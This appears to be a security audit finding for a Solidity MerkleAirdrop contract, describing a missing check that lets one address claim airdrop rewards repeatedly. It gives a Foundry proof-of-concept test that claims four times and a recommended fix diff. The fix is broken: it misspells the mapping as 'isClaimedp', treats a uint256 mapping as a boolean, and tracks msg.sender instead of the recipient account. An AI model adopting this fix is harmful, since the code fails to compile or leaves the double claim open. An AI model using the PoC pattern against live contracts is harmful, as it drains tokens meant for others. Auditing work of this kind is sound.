Summary
The absence of a mechanism to verify whether a user has previously claimed rewards allows them to claim rewards multiple times.
Vulnerability Details
When a user claims rewards through MerkleAirdrop::claim
, there is no counter to check the number of times the user has claimed the token. This vulnerability enables attackers to claim rewards more than once. The following proof-of-concept demonstrates this issue, where a user can claim the reward four times:
function testUserCanClaimMultipleTimes() public {
uint256 startingBalance;
uint256 endingBalance;
startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee() * 4);
vm.prank(collectorOne);
airdrop.claim{value: airdrop.getFee()}(collectorOne, amountToCollect, proof);
vm.prank(collectorOne);
airdrop.claim{value: airdrop.getFee()}(collectorOne, amountToCollect, proof);
vm.prank(collectorOne);
airdrop.claim{value: airdrop.getFee()}(collectorOne, amountToCollect, proof);
vm.prank(collectorOne);
airdrop.claim{value: airdrop.getFee()}(collectorOne, amountToCollect, proof);
endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToCollect * 4);
}
Impact
If an attacker claims the token multiple times, other users will be unable to claim the token as expected. An attacker can claim rewards up to four times, preventing other users from claiming any rewards.
Tools Used
Manual Review
Recommendations
Implement a mechanism to verify whether a user has previously claimed the reward before allowing them to claim it again.
contract MerkleAirdrop is Ownable {
using SafeERC20 for IERC20;
...
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ mapping(address=>uint256) isClaimed;
...
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
+ require(!isClaimedp[msg.sender], "Already claimed before");
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ isClaimed[msg.sender] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
...
}